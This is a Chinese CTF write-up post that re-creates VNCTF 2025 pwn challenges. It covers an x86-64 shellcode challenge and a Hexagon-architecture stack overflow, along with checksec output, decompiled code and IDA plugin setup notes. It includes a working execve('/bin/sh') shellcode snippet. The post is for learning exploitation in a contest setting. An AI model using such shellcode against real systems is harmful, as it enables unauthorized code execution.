-
-
[原创]VNCTF-2025-赛后复现
-
发表于: 2025-3-3 12:58 5699
-
赛后简单复现一下
日常检查一下
只有canary是关的
ida打开看一下main函数
刚开始以为就是一个绕过、重定位
但是注意看一下execute()函数
看一眼汇编
当开始没看懂这个是干啥的,主要注意的是rsp会被置零。
这里直接是复现j1ya师傅的,他建议直接打ret2syscall
这里复习一下
execve("/bin/sh", NULL, NULL)
第一个参数要设置为/bin/sh,也是就rdi
后两个参数分别是rsi,rdx,因为是NULL就不设置了
最后就是系统调用号的设置,因为是64位,翻一下笔记
然后正常打即可
这个直接是两眼一黑
日常检查一下
不认识的架构,直接搜一下
大概扫一眼,看见了用于ida,想着要下一下插件
这里我找了几篇文章看了看
这里我开始找的还是比较麻烦的。
首先根据文章1,进行文件下载下来按照正常readme按照即可
这里讲一下踩坑点
敲这个命令的时候要注意要在内置的idapython里面敲,安装在ida内置的python里面要不然会报错找不到hexagondisasm
包。
解决安装后,笔者这里还遇到了disassembler
模块引用找不到,这里找到安装hexagondisasm
包路径如下:
修改如下:
但是!!!!
看完wp之后你会发现这里还有一个更简单的插件,也就是有师傅直接提供了dll。
其实仔细看的开头的文章时,就应该看见这个的,只不过笔者,开始就找错了方向,一条路走到黑了
只能说
方法解释如上,这里就可以正常解题,题目难度据作者说,难度已经降低了很多。根据wp说法就是一个正常的栈溢出的ret2text
看下源码
这里笔者也是直接对着wp进行复现的
根据wp看有几步是必须的
这里笔者的Ubuntu的版本是22.04,但是在20.04的版本下载之后是找不到qemu-hexagon
这块只能自己手动编译
安装完之后可以自己查看一下是否安装成功了
**注意:**这里安装的时候不会直接安装成功,可能会报错,拷打一下GPT,安装一下相应的包即可
这里也是根据wp的提示,直接看日志文件,找libc基址和栈地址。(看日志还是很简单的)
但是再找/bin/sh的地址时,直接看libc.so中文件的/bin/sh的偏移即可
这里看到
满足三个条件就行,然后我们的脚本就可以正常跑了
这里讲一下笔者遇到的问题
更换为0x3FEC0000则跑不通
在安装插件的时候,卡的时间较长(建议直接使用方法2来安装插件),并且在调试的时候建议使用Ubuntu22.04减去不必要的麻烦(笔者20.04也试了试,觉得没有必要)。并且看作者的另一篇文章,他是有模拟过这个环境的,并且在使用gdb-multiarch进行远程调试的时候遇到了问题,这里笔者没有进行复现,而是草草了事,其实可以动调一下复现一下作者的下面这句话,加深一下对该异架构的汇编命令的理解程度。
复现的时候主要难度在于环境的复现,对应异架构的汇编指令也可以多看看开发手册,理解其寄存器的调用。对于 qemu-user的使用,也需更加熟练些,因为复现过一些漏洞,对于其还有一些了解,不算抓瞎。
如有不对的地方,还请师傅多包涵!!
特别感谢:
再次感谢这两位师傅对笔者的帮助,真心感谢,两位师傅对笔者的学习有莫大帮助!!
llq@llq-virtual-machine:~$ checksec pwn
[*]
'/home/llq/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
llq@llq-virtual-machine:~$
llq@llq-virtual-machine:~$ checksec pwn
[*]
'/home/llq/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
llq@llq-virtual-machine:~$
int
__fastcall main(
int
argc,
const
char
**argv,
const
char
**envp)
{
void
*buf;
// [rsp+8h] [rbp-8h]
setbuf
(stdin, 0LL);
setbuf
(stdout, 0LL);
setbuf
(stderr, 0LL);
puts
(
"hello hacker"
);
puts
(
"try to show your strength "
);
buf = mmap((
void
*)0x114514000LL, 0x1000uLL, 7, 34, -1, 0LL);
read(0, buf, 0x16uLL);
mprotect(buf, 0x1000uLL, 7);
execute(buf);
return
0;
}
int
__fastcall main(
int
argc,
const
char
**argv,
const
char
**envp)
{
void
*buf;
// [rsp+8h] [rbp-8h]
setbuf
(stdin, 0LL);
setbuf
(stdout, 0LL);
setbuf
(stderr, 0LL);
puts
(
"hello hacker"
);
puts
(
"try to show your strength "
);
buf = mmap((
void
*)0x114514000LL, 0x1000uLL, 7, 34, -1, 0LL);
read(0, buf, 0x16uLL);
mprotect(buf, 0x1000uLL, 7);
execute(buf);
return
0;
}
shellcode
=
asm(
'''
mov al,59
add rdi,8
syscall
'''
)
+
b
'/bin/sh\x00'
shellcode
=
asm(
'''
mov al,59
add rdi,8
syscall
'''
)
+
b
'/bin/sh\x00'
llq@llq-virtual-machine:~$ checksec main
[!] Could not populate PLT: AttributeError: arch (
'em_qdsp6'
) must be one of [
'aarch64'
,
'alpha'
,
'amd64'
,
'arm'
,
'avr'
,
'cris'
,
'i386'
,
'ia64'
,
'm68k'
,
'mips'
,
'mips64'
,
'msp430'
,
'none'
,
'powerpc'
,
'powerpc64'
,
'riscv32'
,
'riscv64'
,
's390'
,
'sparc'
,
'sparc64'
,
'thumb'
,
'vax'
]
[*]
'/home/llq/main'
Arch: em_qdsp6-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x10000)
Stripped: No
llq@llq-virtual-machine:~$
llq@llq-virtual-machine:~$ checksec main
[!] Could not populate PLT: AttributeError: arch (
'em_qdsp6'
) must be one of [
'aarch64'
,
'alpha'
,
'amd64'
,
'arm'
,
'avr'
,
'cris'
,
'i386'
,
'ia64'
,
'm68k'
,
'mips'
,
'mips64'
,
'msp430'
,
'none'
,
'powerpc'
,
'powerpc64'
,
'riscv32'
,
'riscv64'
,
's390'
,
'sparc'
,
'sparc64'
,
'thumb'
,
'vax'
]
[*]
'/home/llq/main'
Arch: em_qdsp6-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x10000)
Stripped: No
llq@llq-virtual-machine:~$
python
-
m pip install setuptools
python setup.py install
python
-
m pip install setuptools
python setup.py install
\.\.\IDA_Pro_7.
7_max
\IDA_Pro_7.
7
\python38\Lib\site
-
packages\hexag00n
-
0.1
-
py3.
8.egg
\hexagondisasm
\.\.\IDA_Pro_7.
7_max
\IDA_Pro_7.
7
\python38\Lib\site
-
packages\hexag00n
-
0.1
-
py3.
8.egg
\hexagondisasm
from
.
import
disassembler